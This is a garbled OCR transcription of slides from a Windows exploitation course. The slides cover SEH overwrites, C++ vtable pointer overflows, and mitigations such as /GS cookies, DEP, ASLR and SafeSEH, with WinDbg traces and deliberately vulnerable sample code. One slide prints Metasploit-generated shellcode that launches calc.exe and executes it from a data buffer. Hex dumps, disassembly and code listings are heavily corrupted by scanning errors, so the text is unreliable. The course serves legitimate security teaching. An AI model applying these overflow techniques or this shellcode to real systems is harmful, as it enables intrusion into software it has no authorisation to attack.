uuzuLu L LN XA N LT caon, LeepTAvL ) 0'000> ItEb-
00401076 €5 - - TEB at 7¢£dt000
pus eax - T .

00401077 ££15a0204000 call dvord ptr [seh_overflow!_ imp_ fread (004020a0)] Exceptionlist: 0012££B0
0040107d 8b8c2420040000 mov ecx,dvord ptr [esp+420h] StaCkB§33~ 00130000
StackLinit: 00126000
00401085 8901 nov dword ptr [ecx],eax SubSystenTib: 00000000
00401087 ££159c204000 call dvord ptr [seh_overflow!_imp_ fclose (0040209c)] FiberData: , ~ 00001e00
00401084 83c414 add esp, 14h ArbitraryUserPointer: 00000000
00401090 5f pop edi Self: _ 7££d4£000
00401091 Se pop esi Envlronmgntpolnter: gooooooo
00401092 81c400040000 add esp. 400h Clientld: 00000£38 . 00000eal
00401098 3 ret RpcHandle: 00000000
00401099 cc int 3 Tl=s Storage: oooooooo
00401093 cc int 3 FEB Address: 7f£d4000
0040109b cc int 3 LastErrorValue: 0
004010%c cc int 3 La=tStatusValue: c0000135
0040109d cc int 3 Count Owned Locks: 0
004010%e cc int 3 HardErrorHode: 0
0040109f cc int 3 0:000> dd 12££fb0
seh overflow!main: 0012ffb0 909006eb 004010s6 ccccccce 00000000
00401020 51 push ecx 0012ffc0 0012£££f0 7c817077 00b7£6£2 00b7£762
004010al 56 push esi 0012££fd0 7ffd4000 8054béed 0012ffc8 85d1a020
00401022 £b35a8204000 nov esi,dword ptr [seh_overflow! imp_ printf (004020 |0012ffe0 ffffffff 7c839add 7c817080 00000000
004010a8 6800104000 push  offset seh_overflow!prize (00401000) 0012£££0 00000000 00000000 004013ad 00000000
004010ad 6844214000 push  offset seh_overflow! string' (00402144) 00130000 78746341 00000020 00000001 0000249¢c
004010b2 ffd6 call esi 00130010 000000c4 00000000 00000020 00000000
004010b4 Sd44240c lea cax, [esp+0Ch] 00130020 00000014 00000001 00000006 00000034
004010b8 50 push eax 0:000> u 12££fb0 .
004010b9 6864214000 push  offset seh_overflow! ' string' (00402164) 0012££b0 eb06 imp 0012££b8
004010be ffdé call esi 0012ffb2 90 nop
004010c0 8b4c2420 nov ecx.dvord ptr [esp+20h] 0012££b3 90 nop
004010c4 83c410 add esp. 10h 0012ffbd e610 out 10h,al
004010c7 837c240c02 cnp dword ptr [esp+0Ch],?2 0012££b6 40 inc eax
004010cc c744240444332211 mov dvord ptr [esp+4].11223344h 0012£fb7 D0cc add ah,cl
00401044 7413 je seh_overf low!main+0x49 (004010e9) Sgiéiiﬁi ee 122 g
99?2}9@9 §Ell nov, eQx,dword ptr [ecx] 0:000s o 13££h8
< > |0012ffb8 cc int 3

’ . . L[] (] (]
* Let’s try this relative jump trick to give us more than 4 bytes for

shellcode.

* Your exception handler should look similar to what you see in my
debugger above.

* Note the opcodes for relative jump forward 6 are Oxeb 0x06. I've used 2
NOP’s to pad out the additional 2 bytes we have in the next exception

handler pointer.
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0:000> wu 12££b0

0012f£fb0 eblé6 Jmp 0012f£b8

0D12ffb2 90 nop

0012££b3 90 nop

0012ffbd e6ll out 10h.al

0012ffb6e 40 inc eax

0012££fb7 00cc add ah.cl

0012£f£fb9 cc int 3

0D12ffba cc int 3

0:000> w 12££fb8

0012ffb8 cc int 3

0012£f£fb9 cc int 3

0012ffba cc int 3

0D12ffbb cc int 3

0012ffbec 0000 add byte ptr [eax].al
0D12ffbe 0000 add byte ptr [eax].al
0012ffc0 f0f£f12 lock call dword ptr [edx]
0D12ffc3 007770 add byte ptr [edi+70h].dh
0:000> g

(b30.b34): Access wviolation — code c0000005 {(first chance)
First chance exceptions are reported before any exception handling.

This exception may be expected and handled.
eax=00000450 eb=x=00000000 ecx=41414141 ed=x=003431e8 e=si1=785b7408 edi=785520c1

eip=00401085 esp=0012{f{b50 ebp=0012ffc0 i1opl=0 nv up 21 pl nz na po nc
ce=001b =s=0023 d==0023 e=s=0023 fs=003b gs=s=0000 efl=00010202
seh_overflow!read_file+0=x75:

00401085 8901 nov dword ptr [ecx].eax ds:0023:41414141=27?72727272727
0:000> g

(b30.b34): Break instruction exception — code 80000003 {(first chance)
eax=00000000 ebx=00000000 ecx=0012f{868 edx=7c9032bc esi=7c9032a8 =di=00000000

eip=0012ffb8 esp=0012{f{78c ebp=0012{f{7a0 iopl=0 nv up ei pl zr na pe nd
ce=001b =s=0023 d=s=0023 e=s=0023 f==003b g=s=0000 ef1=00000246
0012ffb8 cc int 3

- Now we’ve moved out of our 4 byte boundary and
have room for real shellcode.

* |'ll leave executing “real” shellcode as an exercise
for the bold. Note there are more unexpected
challenges you will run into.
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C++ Super Happy Fun Land

C++ Provides lots of super happy fun features,
like classes and polymorphism etc.

These features are good for programmers,
and good for exploit developers!

Behind the scenes what is really implementing
all these features is liberal use of function
pointers.

Thus, in a C++ application you usually have a
lot of function pointers flying around that you
can target for gaining control of EIP.



|class Person
public:
char name[64];
| vold SetName (char *str) {
sprintf (name, "my name is: %s3", str):

b

vold GetName () {
printf("%s\n", name):;

1
virtual void Action() {
printf ("I pay taxes...\n"):;
: 1
F?
|class Student : public Person {
public:
| virtual void Action() {
printf ("I study...\n");
: 1
b

* Consider the following class hierarchy.

 Notice that it contains virtual functions, this is
Important.
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]Jint main{int argc, char **argv)
{
Person pl:
Student pZ;
Person *ptr;

C:\class\vtable_overflow\Debug>vtable_overflow
my name i1s: Joe
I pay taxes...

ptr = &pl; my name is: Bob
I tudy. ..
ptr->SetName ("Joe") ; s
ptr->GetName () ; C:\class\vtable_overflow\Debug>_

ptr->Action();

ptr = &p2:;
ptr->SetName ("Bob") ;
ptr->GetName () ;
ptr->Action();

* With Virtual Functions you can implement polymorphic
type functionality.

* Even though “ptr” is of type person, it correctly calls
the Student version of Action() thanks to
polymorphism.

 How is all this implemented under the hood?



0012fflc
0012ff2c
0012ff3c
0012ffdc
0012ff5c
0012ffec
0012ff7c
0012ff8c

0:000> de pl

00415760
D0656fda
CCCCCCCC
CCCCCCCC
= e
00411£58
bdb97167
82d88d30

-

be20796d
CCCCCCCC
CCCCCCCC
CCCCCCCC
CCCCCCCC
oooo0oo1
00b7f6f2
00000000

20656d61
CCCCCCCC
CCCCCCCC
CCCCCCCC
bdb3%71b7
00343250
00b7f£72c
00000000

203a7369
CCCCCCCC
CCCCCCCC
CCCCCCCC
0012ffb8
00343518
7££dal00
00130000

"TA . my name 1s:
Joe. ... ... ... ...

* Whenever you declare a class with virtual
functions, what you are really ending up with in
memory is basically a C structure in memory.

* This structure contains all of your variables (like
the name[64] buffer), as well as a pointer to a
function pointer table.

* This function pointer table stores pointers to all
of the methods your C++ class implements.
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0:000> dd

00415760
00415770
00415730
004157930
004157a0
004157b0
0041570
00415740

415760

004110a5
2e736578
0041118b
00DaZele
Qooooooon
00Scz0064
00S=0073
00Scz0064

0:000> u 4110a5
vtable overflow! ILT+160{(?ActionPersonUAEXEZ) :

00000000
000az2ele
00000000
00000000
Q0000000
00630076
00720063
00650073

61702049
ooooooo0
74732049
00416594
003a0066
D06£f0074
005£f0074
0066006c

61742079
00416538
2e796475
004110dc
0064005c
D06cOO06E
006c00B2
0078005¢

004110a5 =9f6060000 jmp

[l | I Tr™ .4 -7 " ' . 1 1

vtable_overflow!Person::Actipn (004117a0)

- N1 TORYRYSY

 Here | examine the function pointer table
associated with p1 (which is of type Person).

* Notice the first entry in the function pointer
table is for the Person::Action method.
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Target Acquired

* The main point to realize is that whenever we
declare a C++ class with virtual methods, the
pool of memory where it exists (the heap, the
stack, etc...) now contains a pointer to a

function pointer table which will eventually be
used to call the function.

* |In the event of an overflow, we can overwrite
this pointer value so that our code will be
called the next time a virtual method is called.

e Let’s see this in action.



int main(int argc, char **argv)

{

Person pl:
Student pZ;
Person *ptr;

char *buf = new char([256];
memset (buf,0x4l,256) ;
pZ.SetName (buf) ;

ptr = &pl:
ptr->Action();

* An overflow occurs during the SetName operation,
corrupting the virtual table pointer for Person p1.

 When one of p1’s virtual methods is called (Action() in
this case), that corrupted virtual table pointer will be
used to try to locate the correct Action() function.
Since the table is corrupt, we should see a nice crash.



int main(int argc, char **xargv)

Person pl:
Student p2:
Person *ptr;

char *buf = new char[256]:
mnemset (buf , 0x41, 256);
p2.SetName(buf):

gtr = &El;

/%

ptr = &pl:
ptr—>SetName("Joe")
ptr—>GetName()
ptr—>Action():

ptr = &p2:
ptr—->SetName{ "Bob")
ptr—>GetNamne( )
ptr—>Action();

*/

return 0;

Hicrosoft (R) Windows Debugger Version 6.11.0001.404 X86
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: wvtable_overflow
Symbol search path is: SRV=C:
Executable search path is:
ModLoad: 00400000 0041b000
ModLoad: 7c900000 7c9b2000
ModLoad: 7c800000 7c8f6000
ModLoad: 10200000 10323000
(a50.a3c): Break instruction

NWINDOUSNSymbols*http://msdl .microsoft.com/download/symbo

vtable_overflow.exe

ntdll.dll

C:A\WINDOWSN\systend2 \kernel32 dll

C A\WINDOWSNWinS=xS\=x86_Microsoft.VC90.DebugCRT_1lfc8b3b%ale
exception — code 80000003 (first chance)

eax=00251ebd ebx=7ffdc000 ecx=00000003 edx=00000008 e=si=00251f48 =di=00251eb4

eip=7c90120e esp=0012fb20 ebp=0012£fc94 iopl=0
cs=001b ==s=0023 ds=0023 es=0023 {==003b gs=s=0000

ntdll | DbgBreakPoint :
7c90120e cc int
0:000> g

nv up i pl nz na po nc
efl=00000202

3

(a50.a3c): Access wviolation - code 0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=0012fflc ebx=7f{dc000 ecx=0012fflc edx=41414141 e=si=0012fddc edi=0012ff68

eip=004114db esp=0012fddc ebp=0012f£f68 iopl=0
cs=001b ===0023 ds=0023 es=0023 {=s=003b g=s=0000

vtable_overflow!/main+0x9b:
004114db 8b02 nov

nv up ei pl zr na pe nc
efl=00010246

eax,.dword ptr [edz] ds:0023:41414141=27272727272727

* The exploitability of this is at first unclear
because crashing on mov eax, [edx] doesn’t
look very exciting. We should look closer.
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004114d1 8bl0 mov edx,dword ptr [eax]

004114d3 8bfd mov es1l, esp

004114d5 8b8dScffffff mowv ecx,dwvord ptr [ebp-04idh
N04114db eax,dvord ptr [ed=x
004114dd £f££d0 call eax

NNA1T1A3F 2RFA P, anid acm

 Notice we control what data is read in eax,
because we control edx.

* Then, eax is used as the argument for call!

* Thus if we point corrupt edx in a way that it
points to attacker controlled data, we gain
control of eip.
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0:000> dd p2

D012fed0 00415774 6e220796d 20656d6l1 203a7369
0012fecs0 41414141 41414141 41414141 41414141
0D012fef0 41414141 41414141 41414141 41414141
0012££00 41414141 41414141 41414141 41414141
0012££10 41414141 41414141 41414141 41414141
0012££20 41414141 41414141 41414141 41414141
0012££30 41414141 41414141 41414141 41414141
0012££40 41414141 41414141 41414141 41414141
0:000> r @edx=12feel

0:000> g

(bad .af4): Access violation - code c0000005 {(first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=41414141 ebx=7{{d8000 ecx=0012fflc edx=0012feel esi=0012fddc edi=0012f£f68
eip=41414141 esp=0012{f{dd8 ebp=0012f£f68 i1opl=0 nv up €1 pl zr na pe nc
ce=001b ===0023 ds=0023 e=s=0023 £f==003b gs=s=0000 efl=00010246
41414141 7?7 297

* Notice if we had overwritten p1’s vtable
pointer with 12fee0 (which points to attack
controlled data), we would then gain control
of EIP as well.
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Day 2

* Part 1: Exploits mitigations
e Part 2: Exploit mitigation weaknesses



Justification

* Why am | teaching you all of these
exploitation techniques, many of whom
overlap in their use cases?

* Because they are all important tools for us to
leverage once we start breaking Windows
exploit mitigation technologies.



Exploit Mitigations

/GS stack protection
DEP

ASLR

SafeSEH

Variable reordering
Oh my!



basic_vuln Property Pages E]
Configuration: \Active(ReIease) v ‘ Platform: ’Active(Win32) v ‘ [ Configuration Manager... ]
(=) Common Properties Enable String Pooling Mo
Framework and References Enable Minimal Rebuild Mo
(=) Configuration Properties Enable C++ Exceptions Yes (JEHsc)
General Smaller Type Check No
Debugging Basic Runtime Checks Default
=i+ Runtime Library Multi-threaded DLL (/MD)
Gen‘er.al . Struct Member Alignment Default
Optimization Buffer Security Check Yes é-—- v
Preprocessor 3 A
) Enable Function-Level Linking Yes (/Gy)
Code Generation -
Enable Enhanced Instruction Set Mot Set
Language - - - -
Precompiled Headers Floating Point Model Precise {/fp:precise)
Output Files Enable Floating Point Exceptions Mo
Browse Information
Advanced
Command Line
[+ Linker
[+ Manifest Tool
[#- XML Document Generator
[+ Browse Information
[+ Build Events
[+ Custom Build Step
Buffer Security Check
Check for buffer overruns; useful for closing hackable loopholes on internet servers. The default is
enabled. (JGS-)
[ OK ] [ Cancel ] [ Apply ]

* Let’s enable GS for basic_vuln and see what happens
when we try to exploit it again.
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unsigned char buf[64]; cax=00261lebd ebx=7ffdal0l ecx=00000005 edx=000
unsigned int 1i; eip=7c80120e esp=0013fb20 ebp=0013fc9%4 iopl=0
unsigned int n; ce=001b ===0023 ds=0023 e=s=0023 f==003b gt
ntdll!DbgBreakPoint:
memset (buf, 0x00, 64) ; 7c90120e cc int 3
printf ("address of buf: 0x%08x\n", &buf[0]):; 0:000> g @@masn ( c:\class\basic_vuln\basic_wvul:
ModLoad: S5cb70000 S5cbhb86000 C:\WINDOWS\ system!
fp = fopenifile, "r"); eax=00000060 ebx=00000000 ecx=7855065f edx=000:
if (fp == NULL) eip=0040109b esp=0013ff20 ebp=0013ff70 iopl=0
{ cs=001b ss=0023 ds=0023 es=0023 fs5=003b g:
printf ("Can't open filein"); basic_vulnlhexdump file+0x7b:
return; 0040109k 8b55fc nmov edx,dword ptr
} 0: 000> dd ebp
0013ff70 deadbeef deadbeef deadbeef deadbeef
n = fread(buf, 1, 128, fp); 0013ffs80 0040130c 00000002 00033198 00033780
0013f£90 dBcB88c24 00b7f6f2 00b7£750 7££da00o
for (i=0;i<sizeof (buf);i++) 0013ffal0 O00bL7£750 00000000 OOD13ff90 ce71biB2
{ 0013ffb0 0013ffe0 00401885 d89%b5Z24c 00000000
if (i%1l6==0&&i!=0) 0013ffcO0 O0013ff£f0 7¢817077 00b7f6f2 00bL7E£750
printf ("\n"); 0013ffd0 7ffdal00 S5054b6ed 0013ffcB8 85bdcdal
printf ("$02x= ", buf[i]); 0013ffe0 ffffffff 7c83%ad8 7c¢817080 00000000

e At this point you can see I've overwritten the
stack and the return address with Oxdeadbeef.

* Once the function returns, victory should be
ours!
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0:000> dd ebp

0013f£70
0013ff80
0013ff90
0013ffal
0013ffb0
0013ffcO
0013ffdo
0013ffeD
0:000> g

eax=00004b47 ebx=00000000
eip=7c90e514 esp=0013fbd0
ss=0023

cs=001b

deadbeef
0040130¢
d8cB88cz24
00bL7£750
D013ffeD
DO13fff0
7ffdalon
ffffffff

deadbeef
poopoooz
Dob7f6f2
pooooooo
p0401885
7c817077
8054b6ed
7c83%ads

ds=0023 e

ntdll!KiFastSystemCallRet:
7c90e514 <3

ret

deadbeef
00033198
00bL7£750
0013ff20
d89b524c
Dob7f6f2
D0D13ffc8
7cB81l7080

s=0023

a

deadbeef
00033780
7ffda0nn
ce71lba82
pooooooo
D0bL7£750
85bdcdal
pooooooo

ecx=00004b47 edx=7c90e514 esi=00000001 edi=00403470
ebp=0013fbel iopl=0
f=s=003b gs=0000

nv up i ng nz na pe nc
efl=0000028686

Let’s take a look under the hood to see what’s going on...
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bagsic vuln!hexdump file:

00401021 Bbec mov ebp,esp

00401023 83echD sub esp, S50h

00401026 al00304000 mov eax,dword ptr [basic wuln! security cookie (00403000)]
0040102k 33¢S XOr eax, ebp

00401024 8945f0 nmowv dword ptr [ebp-10h],eax

00401030 6a4dl push 40h

nn4aninl3? /ann rnniah n

0040110d B83c404 add esp, 4

00401110 8hkh4dfO nmowv ecx,dword ptr [ebp-10h]

00401113 33cd XOor ecx, ebp

00401115 882000000 call basic_wuln! security check cookie (0040119c¢c)
0040111la 8beb mov esp,ebp

0040111c 5d pop ebp

0040111d <3 ret

* When the function begins executing it creates a
stack cookie value and places it on the stack in
front of the return address, saved ebp etc.

e At the end of the function it checks to make sure
that value is still in tact. If not, it immediately
kill’s your program without ever using the return
address you corrupted.
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DEP

 We should all be pretty familiar with this from
exploits 1.

 With DEP, the we cannot execute code in
regions of memory that are not marked as
executable.

* Most data regions that we would overflow,
like the stack and heap, are not marked as
executable by default.



Without DEP

13/*

2 * windows/exec - 200 bytes
3 * http://www.metasploit.com

5| *y
6:| unsigned char buf[] =

4 * VERBOSE=false, EXITFUNC=process, CMD=calc.exe

T "\xfc\xes8\ x89\ x00\ %004 x00y x50\ x89\ xeb\ x31\ xd2\ x64\ x8b\ x52\ x30"
81 "\ x8b\x52\x0c\ x8b\ %52\ x14\ x8b\ x 72\ x28\x0f\ xbT\ xda\x26\x31\xff"
911 "y x31yxclyxachx3c\x61\ X7\ x02\ x2c\ x20\ xcl\ xef\ x0d\ 01\ xc T\ xe2"
103 "y xE0\x52\x57\x8b\ x52\ x10\ x8b\ x42\ x3cy x01\ xd0\ x8b\ x40\ x78\ k85"

117 "yxc0\x74\x4a\ x01\ xd0\ x50, x8b\ x48\ x18\x8b\ x58\ %20\ x01\ xd3\ xe3"
127 "y x3c\ 49\ x8b\ k34 x8b\ x01\ xde\ x31\ XL\ x31\ xcO\ xach\ xcly xefy x0d"
137 "y x01\xc7y\x38\xe0\ X7\ x4\ x03\ xT7d\ x£8\ x3b\ x7d\ %24\ x 75\ xe 2\ k58"

161 "yxe0y k584 x5\ x5a\ x8bi\ x17
173 "y x004yx00y x50\ x68\ x31\ k8]
181 "y x68\xab\ x95\ xbd\ x9d\ x £
193] "\ x05\xbby\ x4 7\ x13\ x72\ 61
201 "\ x2e\ X654\ x78\ X655\ k00" ;
213
2279int main()

231] {

247 void (*f) (void):

25 £ = {wvoid (*) ())&buf;
26 £():

271}

147 "y x8bix584 24\ x0T\ xd3\ 66\ x8b\ x0ch x4b\ x8b\ k584 ®x1ch k01 xd3Y x8b"
15{| "\x04\x8b\ k011 xd0\ k89" x4 My =3

Edit View Help

u‘

OHex ®Dec O0ct OBin (® Degees  ORadians O Grads
iy [JHyp I_ I_ [Backspace] [ CE ] [ C ]

annlolnonneEm
nonanso
nnannno
noEnan

)

Here | am just using a function pointer to transfer EIP to my

shellcode.

My shellcode is stored in a data region, but since DEP is currently

off, the processor happily executes it.
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Changing DEP options

File Edit Format View Help
[b t 1 d r]

d f 1t m 1t (0)diskCOdrdisk(0)partition(1)\wWINDOWS

stems]
mu ?t (0)d?sk(0)rd1sk(0)part iti on(l)\WINDows ‘M crosoft W1ndows P pProfessi ona1 dep enab1ed /Fastdetect Sdebugport=coml /baudrate=115200 /NoExecute=0Optout
multiCo)disk(0)rdisk(0)partition(1)\WINDOWS="M1 soft windows xP Professional no dep"/NOEx optin /fastdetect

e Edit boot.ini to change your DEP options

 OptOut means a process has to explicitly register to
the OS that it does not want to have DEP turned on

(usually for backwards compatibility issues).

* Optln means a process has to explicitly register to the
OS that it DOES want DEP turned on.
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Please select the operating system to start:
Microsoft Windows XP Professional dep enabled [debugger enabled]l
Microsoft Windows XP Professional no dep

Use the up and down arrow keys to move the highlight to your choice.
Press ENTER to choose.

For troubleshooting and advanced startup options for HWindows, press F8.

* Changing system wide DEP policy requires a
reboot, this time | enable it to see how my
shellcodes fair in the brave new world.



Try #2

2 * windows/exec - 200 bytes
3 * http://www.metasploit.com

4 * VERBOSE=false, EXITFUNC=process, CMD=calc.exe

5 */

6 | unsigned char buf[] =

7 "\xfc\xe8\x89\XOO\XOO\XOO\X60\x89\xe5\x31\xd2\x64\x8b\x52\x30“
8 "\x8bi\x52\x0ch x8bi\ k524
9 | "y x31\xc0\ xach x3c\ X614\ Visual Studlo Just-In-Time Debugger

100 "y xE0A\x52\ k57 28D\ 25243 an unhandled win32 exception occurred in calc_shellcode. exe [3252]. gs"
11| "yxe0yx74\ x4a\ k01 xd0h 3 e3"
12 ™y x3ch\ k49 x8b\ x34\ x8b\ 3 odn
13 "\ x01\xc7yx38\xe 0\ X754 3 58"
14 | "\ x8b\x58\x24\x01\xd3%\ 3 Possble Debuggers: 8b™
15 | "\ =204\ x8b\x01\ xd0\x89\ 3 ££"
16 | "\ xe0y\x58\ x5\ x5a\ x8b\ 3 oom
17 | ™yx00,\x004y x50, k68 x31\ 4 56"
18 | "y x68\xat\ x95\ xbd\ x9d\ 3 75"
19| "y x05\ xbb\ x4 7\ x13\ K72\ 4 63"
200 "y x2e\xe5\xT78\x6e5\x00" 3

21 L

22E4int main()

2301

24 | void (*f) {(void):

25 1 £ = (void {(*) ())&buf;

[[]5et the currently selected debugger as the default,

[[IManually choose the debugging engines.

Do you want to debug using the selected debugger?

5 £0):
- _} [ Yes ] [ No J

 These aren’t the calc.exe’s I’'m looking for...
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ASLR

 We talked about this in Exploits 1 as well.

* Executables and their associated DLL’s are
loaded at random locations in the address
space. This makes it harder for an attacker to
guess where things will be located, ultimately
making exploitation more difficult.



ASLR in Windows 7

-] #include <stdio.h>
L

-]void function()

{
printf ("hello world\n");

}

—]int main ()

{

O,

-}

unsigned char *ptr = (unsigned char *)function;
printf ("function is located at: %11x\n", ptr);

7~

o C\Windows\system32\cmd.exe

function is located at: 9611a4
Press any key to continue

function is located at: 13811a4

Press any key to continue

@ C:\Windows\system32\cmd.ex

function is located at: ellai
Press any key to continue . .




ASLR in Windows XP

ltj#inClUde <stdio.h>

L

39 void function ()

4 1

5; printf ({"hello worldin"):;

6; }

89 int main()

9| {
10; unsigned char *ptr = (unsigned char *)function:;
11; printf ("function is located at: $%x\n", ptr);
1211}

function i1s located at: 4111a4
Press any key to continue

function is located at: 4111a4
Press any key to continue

e C:\WINDOWS\system32\cmd.exe

function is located at: 4111a4
Press any key to continue

ASLR isn’t supported in Windows XP!



SafeSEH

* Previously we abused the structured exception
handler by pointing it to a piece of a code that
was useful to us (a pop-pop-ret sequence).

* We already had the constraint that the exception
handler couldn’t point to the stack.

e SafeSEH add’s further constraints: A SafeSEH
enabled module registers a table of valid
exception handlers. Before executing an
exception handler routine, the operating system
first verifies that the exception handler pointer
points to an entry in this table.




Without SafeSEH

void prize()

printf{"vou win! n"):

¥
int MyEzceptionHandler():
void function()

unsigned int*ptr:

ptr = (unsigned int %*)0zdeadbeef

_try {
//this will cause an exception

*ptr = Ox41414141;
} _ _except (MyExceptionHandler()) {}
¥

int MyExceptionHandler()

return 0;
}

int main()

function():

printf ("HyEzceptionHandler() called\n"):

Copyright {(c) Microsoft Corporation. All rights
CommandLine: simple seh.exe

Symbol search path is: SRV*C:\WINDOWS\Symbols*ht
Ezecutable search path is:

ModLoad: 00400000 0041b000 simnple_seh.exe
ModLoad: 7c900000 7c9b2000 ntdll.dll

ModLoad: 7c800000 7c8£f6000 C:\WINDOWUS\system32
ModLoad: 10200000 10323000 C:N\WINDOWS\WinSxS\x
(8d0.1bc): Break instruction exception - code 80
eax=00251eb4 ebx=7ffdel00 ecx=00000003 edx=00000
eip=7c90120e esp=0012f{b20 ebp=0012fc94 iopl=0
cs=001b =s=0023 d==0023 e=s=0023 fs=003b gs=
ntdll ! DbgBreakPoint :

7c90120e cc int 3

0:000> g @@masn{ c: \class\simple_seh\simple_seh™
eax=0012f{=84 ebx=7{fdel00 ecx=00000000 ed=z=00000
eip=00411476 esp=0012fdal ebp=0012fe94 iopl=0
cs=001b =s=0023 d==0023 e=s=0023 fs=003b gs=
simple_seh!function+0x56:

00411476 8bd5el nov eax,dwvord ptr [
0:000> 'teb
TEE at 7f£f£dd000
Exzceptionlist: 0012feB4
StackBase: 00130000
StackLimit: 00126000
SubSystenTib: gooooooo
FiberData: 0000100
ArbitraryUserPointer: 00000000
Self: 7f££dd0oo
EnvironmentPointer: gooooooo
ClientId: goooosdo . 000001be
RpcHandle: gooooooo
Tls Storage: oooooooo
PEB Address: 7ffde000
LastErrorValue: 0
LastStatusValue: c0000135
Count Owned Locks: 0
HardErrorMode: 0

0:000> ed 12fe84 =simple_sehl!prize
0:000> ed 12fe84+4 simple _sehlprize

 Here I've manually edited the Structured Exception Handler to

point to the prize() function right before an exception is about
to happen in the code. The exception handler isn’t pointing at
the stack, so the exception handler parser should like it.
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Without SafeSEH

C:\class\simple_seh\Debug\simple_seh.exe

e @Great Success



Enabling SafeSEH

simple_seh Property Pages @

Configuration: lActive(Debug) v ‘ Platform: lActive(Win32) v ] [ Configuration Manager... ]
[#- Common Properties All options:
= Configuration Properties JOUT:"C:\class\simple_seh\Debug\simple_seh.exe" [NOLOGO [MANIFEST
General IMANIFESTFILE: "Debug\simple_seh.exe.intermediate. manifest" JMANIFESTUAC: "level="asInvoker'
Debugging uisiccess="false™ JDEBUG JPDB:"c:\class\simple_seh\Debug\simple_seh.pdb" /DYNAMICBASE
H ClCH+ INXCOMP&T IMACI-.IINE.:XBG IERRQRREPORT:PROMPT !(ern§|3g.lib user32.lib adi32.lib winspool.lib
L inker comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbcep32.lib
General
Input
Manifest File
Debugging
System
Optimization
Embedded IDL
Advanced

Command Line

[+ Manifest Tool

[+ XML Document Generator

LiJ Br9wse Information Additional options:
[+ Build Events .

+)- Custom Build Step {5afeSEH

I OK I[ Cancel ][ Apply ]
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SafeSEH Enabled

#1nclude <std10 h> |commandLine: simple seh.exe A sinple_seh.exe
Symbol search path is: SRV*C.\WINDOUS\SymelS*http,//msdl.mlcrosoft.com/dawnload/sy
void prize() Executable search path is:
HodLoad: 00400000 0040b000 simple_seh.exe
printf("you win!sn"); ModLoad: 7c900000 7c9b2000 ntdll.dll
T HodLoad: 7c800000 7c8£6000 C:N\WINDOWS\system32 \kerneli2 dll
ModLoad: 10200000 10323000 C:\WINDOWS\WinSxS\xz86_Microsoft . .VC90.DebugCRT_1£fc8b3b9
int MyExceptionHandler(): (208 .df0): Break instruction exception — code 80000003 (first chance)
=ax=00251ebd4 ebx=7ffdb000 ecx=00000003 edx=00000008 e=i=00251f48 edi=00251eb4
void function() eip=7c90120e esp=0012f{b20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc
{ c=s=001b =s=0023 ds=0023 es=0023 £fs=003b gs=0000 ef1=00000202
unsigned int*ptr; ntdll!DbgBreakPoint :
ptr = (unsigned int %*)0zdeadbeef 7c90120e cc int 3
__try { 0:000> g @@masn{ c: \class\simple_seh\sinple_seh\seinpleseh.cpp:16+")
//this will cause an exception eax=0012fe84 ebx=7{f{db000 ecx=00000000 ed=x=00000001 esi=00b9f72a edi=0012fe7c
eip=004010e6 esp=0012fdal ebp=0012fe94 iopl=0 nv up ei pl nz na po nc
} _ _except (HyExceptionHandler()) {} ce=001b ===0023 ds=0023 es=0023 f==003b gs=s=0000 efl=00000202
T simnple_seh!function+0=56:
004010e6 8b45el nov eax,.dvord ptr [ebp-20h] s=s:0023:0012fe74=deadbeef
int MyEzxceptionHandler() 0:000> 'teb
{ TEB at 7ffdf000
printf {"MyExceptionHandler{) called\n"): Exceptionlist: 0012fe84
return 0; StackBase: 00130000
T StackLinit: 00126000
SubSystenTib: 00000000
int main() FiberData: 00001e00
{ ArbitraryUserPointer: 00000000
function(): Self: 7ffdfo00
T EnvironmentPointer: gooooooo
ClientId: 00000208 . 000OOAfO
RpcHandle: oooooooo
Tls Storage: oooooooo
PEBE Address: 7f£db000
LastErrorValue: 0
LastStatusValue: c0000135
Count Owned Locks: 0
HardErrorMode: 0
0:000> ed 12feB84 simple_sehl!prize
0:000> ed 12feB84+4 =simple _sehl!prize
0:000> g
(208 .df0): Access violation - code 0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=deadbeef ebx=7ffdb000 ecx=00000000 edx=00000001 esi=00b%9f72a edi=0012fe7c
eip=004010e9 esp=0012fdal ebp=0012fe94 iopl=0 nv up ei pl nz na po nc
cs=001b =s=0023 ds=0023 es=0023 £{s=003b gs=0000 ef1=00010202
simple_seh!function+0x59:
0040109 c70041414141 nov dword ptr [eax].41414141h ds:0023:deadbeef=7?777777
v
< >

* With SafeSEH enabled, | try the same trick as before...
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0:000> ed 12fe84 simple_sehlprize

0:000> ed 12fe8d4+4 simple_sehlprize

0:000> g

(208.df0): Access violation - code c0000005 {(first chance)

First chance ezxceptions are reported before any exception handling.

This exception may be expected and handled.

eax=deadbeef ebx=7{{db000 ecx=00000000 ed=x=00000001 e=i=00b9%f72a edi=0012f{e?c

eip=004010e9 e=sp=0012fdal ebp=0012fe94 iopl=0 nv up 21 pl nz na po nc
ce=001b s===0023 ds=0023 es=0023 {==003b gs=0000 efl=00010202
simple_seh!function+0=x59:

004010e9 70041414141 nov dword ptr [eax].41414141h d=:0023:deadbeef=777?7?7?7
0:000> g

(208.df0): Access wviolation - code c0000005 (!!! second chance !!!)

eax=deadbeef ebx=7{{db000 ecx=00000000 ed=x=00000001 e=i=00b9f72a edi=0012f{e?c
eip=004010e9 esp=0012fdal ebp=0012fe94 iopl=0 nv up 21 pl nz na po nc
ce=001b ===0023 d=s=0023 e=s=0023 f==003b gs=0000 efl=00000202
simple_seh!function+0=x59:

004010e9 70041414141 nowv dword ptr [eax].41414141h d=:0023:deadbeef=77?77?77
0:000> g

(208.df0): Access violation - code c0000005 {(first chance)
First chance ezxceptions are reported before any exception handling.

This exception may be expected and handled.
eax=deadbeef ebx=7{{db000 ecx=00000000 ed=x=00000001 e=i=00b9%f72a edi=0012f{e?c

eip=004010e9 e=sp=0012fdal ebp=0012fe94 iopl=0 nv up 21 pl nz na po nc
ce=001b s===0023 ds=0023 es=0023 {==003b gs=0000 efl=00010202
simple_seh!function+0=x59:

004010e9 70041414141 nov dword ptr [eax].41414141h d=:0023:deadbeef=777?7?7?7
0:000> g

(208.df0): Access wviolation - code c0000005 (!!! second chance !!!)

